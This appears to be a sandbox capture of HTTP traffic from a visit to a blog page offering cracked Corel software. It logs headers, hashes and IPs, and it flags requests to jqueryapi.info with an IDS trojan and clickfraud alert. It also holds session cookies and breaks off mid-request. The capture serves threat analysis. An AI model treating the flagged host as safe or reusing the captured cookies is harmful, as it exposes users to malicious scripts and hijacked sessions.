Sha1:   e140a63f45f42c4a5f29ea4e2d83a2859c6f99c6
Sha256: 9947e1f452a6580f1089ab62e3b140c96dd7ba65585b7b568c07c6d6947ffb06
                                        
                                            GET /static/fonts/roboto/v10/1pO9eUAp8pSF8VnRTP3xnvesZW2xOQ-xsNqO47m55DA.woff HTTP/1.1 
Host: themes.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
Origin: http://abduhshare.blogspot.com

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 21264
Date: Thu, 27 Sep 2018 18:42:12 GMT
Expires: Fri, 27 Sep 2019 18:42:12 GMT
Last-Modified: Thu, 21 Apr 2016 03:17:22 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1187399
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   21264
Md5:    d0ced6acbf084f4972d1363c66760d27
Sha1:   86466a9a60665c90a1573661a48364b435ffcdf4
Sha256: 3a83f7f702d291a324321bee04db5283ab427fbc6a6e99a581ff4530453c0c9a
                                        
                                            GET /font-awesome/4.4.0/fonts/fontawesome-webfont.woff?v=4.4.0 HTTP/1.1 
Host: maxcdn.bootstrapcdn.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css
Origin: http://abduhshare.blogspot.com

                                         
                                         209.197.3.15
HTTP/1.1 200 OK
Content-Type: application/font-woff
                                        
Date: Thu, 11 Oct 2018 12:32:11 GMT
Connection: Keep-Alive
Accept-Ranges: bytes
Etag: "1518903988"
Cache-Control: max-age=31536000
Content-Encoding: gzip
Content-Length: 81244
Last-Modified: Sat, 17 Feb 2018 21:46:28 GMT
X-Hello-Human: Say hello back! @getBootstrapCDN on Twitter
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
X-Cache: HIT


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   81244
Md5:    0c0e5c09cd90fc21fea7a809f96f707e
Sha1:   fce5abe7b1c21a2530fcd4cc323057e7ff0113c4
Sha256: f3aa27055d98f53edb1076ad7f68e48f2ddc87ca561dd1fb0d43252eb528123f
                                        
                                            GET /feeds/posts/summary/-/Software?alt=json-in-script&orderby=updated&start-index=57&max-results=5&callback=showRelatedPost HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.1
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Etag: W/"65148a195f86a6d9160a8c2e2cec7a03eb7989d8a619e4f2e7de613b745c2743"
Date: Thu, 11 Oct 2018 12:32:11 GMT
Server: blogger-renderd
Expires: Thu, 11 Oct 2018 12:32:12 GMT
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Last-Modified: Mon, 17 Sep 2018 02:54:12 GMT
Content-Encoding: gzip
Content-Length: 3107
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   3107
Md5:    ccdb8b035244d2abb1cd109ac6d94d90
Sha1:   40947c9be2411a9a0f370e206ac18db64072a5c0
Sha256: 365c94373ca185949a3d252041b7437503690372edfdae46d5ce126c9954fea6
                                        
                                            GET /-pdzOksbUBBY/UEletk3BDvI/AAAAAAAADWU/KLc3wWTMbwo/s50-c/mac+blueray.png HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "vd65"
Expires: Fri, 12 Oct 2018 12:32:12 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="mac blueray.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:12 GMT
Server: fife
Content-Length: 5076
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 50 x 50, 8-bit/color RGBA, non-interlaced
Size:   5076
Md5:    9eaa6d26356e4d157e41ceba6cc16ec2
Sha1:   9a749d8bb19c426a363840e6fd83179f1ab1ac57
Sha256: 3fc950806419ef54036e7e107c0a0de5ce98e1196e72a529d714d471fc67594e
                                        
                                            GET /-lHuzJ7IOsb0/UF7TP4-g0nI/AAAAAAAADeo/6_cgfFXar28/s50-c/WebcamMax_Box.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "vdea"
Expires: Fri, 12 Oct 2018 12:32:12 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="WebcamMax_Box.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:12 GMT
Server: fife
Content-Length: 3938
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 50 x 50, 8-bit/color RGBA, non-interlaced
Size:   3938
Md5:    059e2ae64900eccbf850a15a8b7dab3d
Sha1:   2ee33c603c96786e8a3fdbbf5f303d8689342c15
Sha256: f9c8dde898c27e2f680a7912c874f8c79ed94bf319456421e52983f4b117951c
                                        
                                            GET /-WHy7ywyvb1U/UElaKmrBkCI/AAAAAAAADUw/uTELaYaKuxQ/s50-c/idm.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "vd4c"
Expires: Fri, 12 Oct 2018 12:32:12 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="idm.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:12 GMT
Server: fife
Content-Length: 5720
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 50 x 50, 8-bit/color RGBA, non-interlaced
Size:   5720
Md5:    b98ed0e5b7df237658f19f59f9ce3a63
Sha1:   981353b52dcb17f3df8f7c6ffb8994544a41576f
Sha256: f85006c801a0b0dc6608da82cfd1a472b4462c4542338fbab94524bb239b094a
                                        
                                            GET /comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Location: https://accounts.google.com/ServiceLogin?continue=http://www.blogger.com/comment-iframe.g?blogID%3D1904001926097169502%26postID%3D7002098769562643848%26blogspotRpcToken%3D9583295%26bpli%3D1&followup=http://www.blogger.com/comment-iframe.g?blogID%3D1904001926097169502%26postID%3D7002098769562643848%26blogspotRpcToken%3D9583295%26bpli%3D1&passive=true&go=true
Content-Encoding: gzip
Date: Thu, 11 Oct 2018 12:32:12 GMT
Expires: Thu, 11 Oct 2018 12:32:12 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 318
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   318
Md5:    8466603d2619239e051f20d4d682f671
Sha1:   e9caaf467acf9a439708f7afc7f13cca6c8706f2
Sha256: 8144fa63a597e781662d1e2b0ceca111059b3b5e00cedd47c2e11caf258119ca
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.21.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 11 Oct 2018 12:32:12 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    bb9e1a126bbe6a3475dbe6975a2dd80e
Sha1:   87b90ceaf07f076ba104d393be9129c0bce82b0b
Sha256: 437f5675907242dbe83b4bf9337cd6488b70cab42ddecece15be8016cac4b2b0
                                        
                                            GET /-xFGQwXhIG7M/UF7K4jV8ohI/AAAAAAAADbg/sANCMP4XqmU/s50-c/TUU2013+box.jpg HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "vdb8"
Expires: Fri, 12 Oct 2018 12:32:12 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="TUU2013 box.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:12 GMT
Server: fife
Content-Length: 2535
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2535
Md5:    8317706fb29fed24c4dd54d3ae254f9b
Sha1:   a566df9f55325a054bc246269d85749e68d2f093
Sha256: 3974d638686ec1f26edcefc9d0d3434eeb5ea3ee44e6e95846319a285f8186d6
                                        
                                            GET /-uOjgJwPcbBg/UF_RoXj-xxI/AAAAAAAADgM/AhOqijTZJqQ/s50-c/bitdefender+2013-ABDUHSHARE.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "ve03"
Expires: Fri, 12 Oct 2018 12:32:12 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="bitdefender 2013-ABDUHSHARE.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:12 GMT
Server: fife
Content-Length: 4922
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 50 x 50, 8-bit/color RGBA, non-interlaced
Size:   4922
Md5:    e13f2f0f17e1d13236326ad4f5b9ab27
Sha1:   6819affbb127eb2bcd7424cfe5978fb29f4d785b
Sha256: 00ba8b870ea3d22561276b89c0212a2bb53eed3226ef3537e5f6e85feb0860af
                                        
                                            GET /ServiceLogin?continue=http://www.blogger.com/comment-iframe.g?blogID%3D1904001926097169502%26postID%3D7002098769562643848%26blogspotRpcToken%3D9583295%26bpli%3D1&followup=http://www.blogger.com/comment-iframe.g?blogID%3D1904001926097169502%26postID%3D7002098769562643848%26blogspotRpcToken%3D9583295%26bpli%3D1&passive=true&go=true HTTP/1.1 
Host: accounts.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
Cookie: NID=141=NkZ0LuPQq_p_jLMzN-4VnzAuKuHsg37MN9aYRH1aaLcYu32nJoIXcYPaX66Qv90n8YDvMCWmfbzsucSdJOjLcPCViAQQC6IPab_kfGJO-VeE9k6-8iHd7fIHiXLVBF7p

                                         
                                         172.217.22.173
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
                                        
X-Frame-Options: DENY
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 11 Oct 2018 12:32:12 GMT
Location: http://www.blogger.com/comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: GAPS=1:QgaXdVJzP6mp1IJyKKes40HVZ1OAxA:VBVZ2Zw0VBiNetdp;Path=/;Expires=Sat, 10-Oct-2020 12:32:12 GMT;Secure;HttpOnly;Priority=HIGH
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   257
Md5:    7397473c5ab5c3e1797211cc90118702
Sha1:   a39bd02d8bc7c1cd6bd34bb63b67b7e9e1ab9479
Sha256: 103bca0e22881da254660e94db40ce4e00e2ea06ecb07b127e7a08b5080c74b9
                                        
                                            GET /?getsrc=ok&ref=&url=http%3A%2F%2Fabduhshare.blogspot.com%2F2014%2F04%2Fcorel-video-studio-pro-x7-full-version.html HTTP/1.1 
Host: jqueryapi.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
If-Modified-Since: Fri, 09 Mar 2018 21:41:07 GMT
If-None-Match: "5aa2ff73-9d"

                                         
                                         104.200.22.130
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: openresty/1.13.6.1
Date: Thu, 11 Oct 2018 12:32:12 GMT
Content-Length: 157
Last-Modified: Mon, 05 Mar 2018 17:09:56 GMT
Connection: close
Etag: "5a9d79e4-9d"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  ASCII text
Size:   157
Md5:    67e216a27dda24bdcb086c2385b0cb99
Sha1:   17141c80f5d32bec3691c5ab24741d8b7dd5f0c6
Sha256: 9dc433b2142d3ba0803fcffa53f19d34da26996d20c829df6d694bc887325dd7

Alerts:
  IDS:
    - ETPRO TROJAN Malicious Obfuscator Clickfraud Activity
                                        
                                            GET /comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Location: https://www.blogger.com/comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1
Content-Encoding: gzip
Date: Thu, 11 Oct 2018 12:32:13 GMT
Expires: Thu, 11 Oct 2018 12:32:13 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 257
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   257
Md5:    60d0a978f99896c9945d99b06fc76e2f
Sha1:   84d28f88ff814d154b2f12a15125a32d4ea5f6b1
Sha256: 391dc5584feb2e642bcdb86677a45f584bde9237f095e0f3f9f7aa0882293017
                                        
                                            GET /comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 11 Oct 2018 12:32:13 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: S=blogger=xcF3hiLtAgO_fV0GX9VaTqXUpooNkC5k; Domain=.blogger.com; Path=/; Secure; HttpOnly; Priority=LOW
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   1922
Md5:    137844e1db0e79d85c4a3a8884249de0
Sha1:   509762502dadae2d821eba68ff86abe3ace79cc5
Sha256: 452e4356b8958c9d1e52656757b60f2153e983c905b40a03727f10c8e437d2d8
                                        
                                            GET /img/blank.gif HTTP/1.1 
Host: resources.blogblog.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Accept-Ranges: bytes
Content-Length: 43
Date: Thu, 04 Oct 2018 22:06:24 GMT
Expires: Thu, 11 Oct 2018 22:06:24 GMT
Last-Modified: Thu, 04 Oct 2018 07:17:20 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 570349
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    325472601571f31e1bf00674c368d335
Sha1:   2daeaa8b5f19f0bc209d976c02bd6acb51b00b0a
Sha256: b1442e85b03bdcaf66dc58c7abb98745dd2687d86350be9a298a1d9382ac849b
                                        
                                            GET /static/v1/v-css/2621646369-cmtfp.css HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1
Cookie: S=blogger=xcF3hiLtAgO_fV0GX9VaTqXUpooNkC5k

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3701
Date: Thu, 20 Sep 2018 11:23:33 GMT
Expires: Fri, 20 Sep 2019 11:23:33 GMT
Last-Modified: Wed, 19 Sep 2018 22:29:29 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1818520
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   3701
Md5:    0082ccb3f0b4aba531cb20924526ff55
Sha1:   09396b6d286d8178781002d2090d013edd024432
Sha256: 2afa2cee6d5218e5a43107dbacf4e12e138eb5fcbbf1f5195442e15b0458bceb
                                        
                                            GET /static/v1/jsbin/1859323302-cmt.js HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1
Cookie: S=blogger=xcF3hiLtAgO_fV0GX9VaTqXUpooNkC5k

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 30122
Date: Tue, 09 Oct 2018 01:42:16 GMT
Expires: Wed, 09 Oct 2019 01:42:16 GMT
Last-Modified: Mon, 08 Oct 2018 23:51:23 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 211797
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   30122
Md5:    187ea5c243ae18c27311e1782b47387b
Sha1:   79a6567e2f5cb7026408af0d46fabe4b2940c86a
Sha256: 4e110e6ae028d4f26960102cde485e6aae63e1364331933295e887ad72c7c2b4
                                        
                                            GET /img/cmt/close.gif HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1
Cookie: S=blogger=xcF3hiLtAgO_fV0GX9VaTqXUpooNkC5k

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Accept-Ranges: bytes
Content-Length: 347
Date: Thu, 11 Oct 2018 11:23:47 GMT
Expires: Thu, 18 Oct 2018 11:23:47 GMT
Last-Modified: Wed, 10 Oct 2018 23:20:29 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 4106
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 16 x 16
Size:   347
Md5:    6671b9932cbb79a2c2a018ed2c3bf3fb
Sha1:   40566dd706279a44ebd477df58a4cf75ab99cae8
Sha256: df6cb367e3692c4d2056dd69c54bea18458148ef028ce7b998824f9f49ceafd6
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.21.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 11 Oct 2018 12:32:14 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    08bbea70fdaac815a4ed8f022013067b
Sha1:   9ef08972079de2c0ff12e1d829d221fa0fdbb129
Sha256: ffb30ff32c3f42eab29f045ed58af97257e071ca651d2d874fe1a1c61d091642
                                        
                                            GET /?getsrc=ok&ref=&url=http%3A%2F%2Fabduhshare.blogspot.com%2F2014%2F04%2Fcorel-video-studio-pro-x7-full-version.html HTTP/1.1 
Host: jqueryapi.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
